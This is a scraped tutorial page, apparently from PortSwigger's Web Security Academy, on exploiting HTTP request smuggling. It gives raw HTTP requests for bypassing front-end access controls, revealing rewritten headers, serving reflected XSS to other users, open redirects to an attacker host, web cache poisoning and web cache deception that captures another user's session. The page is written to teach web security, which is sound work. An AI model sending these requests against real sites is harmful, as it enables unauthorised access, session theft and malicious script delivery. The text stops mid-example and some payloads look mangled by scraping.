--- url: "https://portswigger.net/web-security/request-smuggling/exploiting" titulek: "Exploiting HTTP request smuggling vulnerabilities | Web Security Academy" h1: "Exploiting HTTP request smuggling vulnerabilities" popis: "In this section, we'll describe various ways in which HTTP request smuggling vulnerabilities can be exploited, depending on the intended functionality and ..." jazyk: "" kanonicka: "https://portswigger.net/web-security/request-smuggling/exploiting" drobecky: ["Web Security Academy", "Request smuggling", "Exploiting"] zdroj: "live" wayback_snapshot: "" stazeno: "2026-09-13 22:20:48" znaku: 17065 slov: 2615 kodovani: "utf-8" sha256: "bd50f05ea7f8e9d51b521951b448f24e28cdd3f1570f8771b69345e369d777f4" --- # Exploiting HTTP request smuggling vulnerabilities In this section, we'll describe various ways in which HTTP request smuggling vulnerabilities can be exploited, depending on the intended functionality and other behavior of the application. ## Using HTTP request smuggling to bypass front-end security controls In some applications, the front-end web server is used to implement some security controls, deciding whether to allow individual requests to be processed. Allowed requests are forwarded to the back-end server, where they are deemed to have passed through the front-end controls. For example, suppose an application uses the front-end server to implement access control restrictions, only forwarding requests if the user is authorized to access the requested URL. The back-end server then honors every request without further checking. In this situation, an HTTP request smuggling vulnerability can be used to bypass the access controls, by smuggling a request to a restricted URL. Suppose the current user is permitted to access `/home` but not `/admin`. They can bypass this restriction using the following request smuggling attack: `POST /home HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 62 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: vulnerable-website.com Foo: xGET /home HTTP/1.1 Host: vulnerable-website.com` The front-end server sees two requests here, both for `/home`, and so the requests are forwarded to the back-end server. However, the back-end server sees one request for `/home` and one request for `/admin`. It assumes (as always) that the requests have passed through the front-end controls, and so grants access to the restricted URL. ## Revealing front-end request rewriting In many applications, the front-end server performs some rewriting of requests before they are forwarded to the back-end server, typically by adding some additional request headers. For example, the front-end server might: - terminate the TLS connection and add some headers describing the protocol and ciphers that were used; - add an `X-Forwarded-For` header containing the user's IP address; - determine the user's ID based on their session token and add a header identifying the user; or - add some sensitive information that is of interest for other attacks. In some situations, if your smuggled requests are missing some headers that are normally added by the front-end server, then the back-end server might not process the requests in the normal way, resulting in smuggled requests failing to have the intended effects. There is often a simple way to reveal exactly how the front-end server is rewriting requests. To do this, you need to perform the following steps: - Find a POST request that reflects the value of a request parameter into the application's response. - Shuffle the parameters so that the reflected parameter appears last in the message body. - Smuggle this request to the back-end server, followed directly by a normal request whose rewritten form you want to reveal. Suppose an application has a login function that reflects the value of the `email` parameter: `POST /login HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 28 email=wiener@normal-user.net` This results in a response containing the following: `` Here you can use the following request smuggling attack to reveal the rewriting that is performed by the front-end server: `POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 130 Transfer-Encoding: chunked 0 POST /login HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 email=POST /login HTTP/1.1 Host: vulnerable-website.com ...` The requests will be rewritten by the front-end server to include the additional headers, and then the back-end server will process the smuggled request and treat the rewritten second request as being the value of the `email` parameter. It will then reflect this value back in the response to the second request: `alert(1) Foo: X` The next user's request will be appended to the smuggled request, and they will receive the reflected XSS payload in the response. ## Using HTTP request smuggling to turn an on-site redirect into an open redirect Many applications perform on-site redirects from one URL to another and place the hostname from the request's `Host` header into the redirect URL. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash: `GET /home HTTP/1.1 Host: normal-website.com HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/` This behavior is normally considered harmless, but it can be exploited in a request smuggling attack to redirect other users to an external domain. For example: `POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: X` The smuggled request will trigger a redirect to the attacker's website, which will affect the next user's request that is processed by the back-end server. For example: `GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/` Here, the user's request was for a JavaScript file that was imported by a page on the web site. The attacker can fully compromise the victim user by returning their own JavaScript in the response. ### Turning root-relative redirects into open redirects In some cases, you may encounter server-level redirects that use the path to construct a root-relative URL for the `Location` header, for example: `GET /example HTTP/1.1 Host: normal-website.com HTTP/1.1 301 Moved Permanently Location: /example/` This can potentially still be used for an open redirect if the server lets you use a protocol-relative URL in the path: `GET //attacker-website.com/example HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: //attacker-website.com/example/` ## Using HTTP request smuggling to perform web cache poisoning In a variation of the preceding attack, it might be possible to exploit HTTP request smuggling to perform a web cache poisoning attack. If any part of the front-end infrastructure performs caching of content (generally for performance reasons), then it might be possible to poison the cache with the off-site redirect response. This will make the attack persistent, affecting any user who subsequently requests the affected URL. In this variant, the attacker sends all of the following to the front-end server: `POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 59 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /static/include.js HTTP/1.1 Host: vulnerable-website.com` The smuggled request reaches the back-end server, which responds as before with the off-site redirect. The front-end server caches this response against what it believes is the URL in the second request, which is `/static/include.js`: `GET /static/include.js HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/` From this point onwards, when other users request this URL, they receive the redirection to the attacker's web site. ## Using HTTP request smuggling to perform web cache deception In yet another variant of the attack, you can leverage HTTP request smuggling to perform web cache deception. This works in a similar way to the web cache poisoning attack but with a different purpose. #### What is the difference between web cache poisoning and web cache deception? - In **web cache poisoning** , the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. - In **web cache deception** , the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache. In this variant, the attacker smuggles a request that returns some sensitive user-specific content. For example: `POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 43 Transfer-Encoding: chunked 0 GET /private/messages HTTP/1.1 Foo: X` The next request from another user that is forwarded to the back-end server will be appended to the smuggled request, including session cookies and other headers. For example: `GET /private/messages HTTP/1.1 Foo: XGET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z ...` The back-end server responds to this request in the normal way. The URL in the request is for the user's private messages and the request is processed in the context of the victim user's session. The front-end server caches this response against what it believes is the URL in the second request, which is `/static/some-image.png`: `GET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 200 Ok ...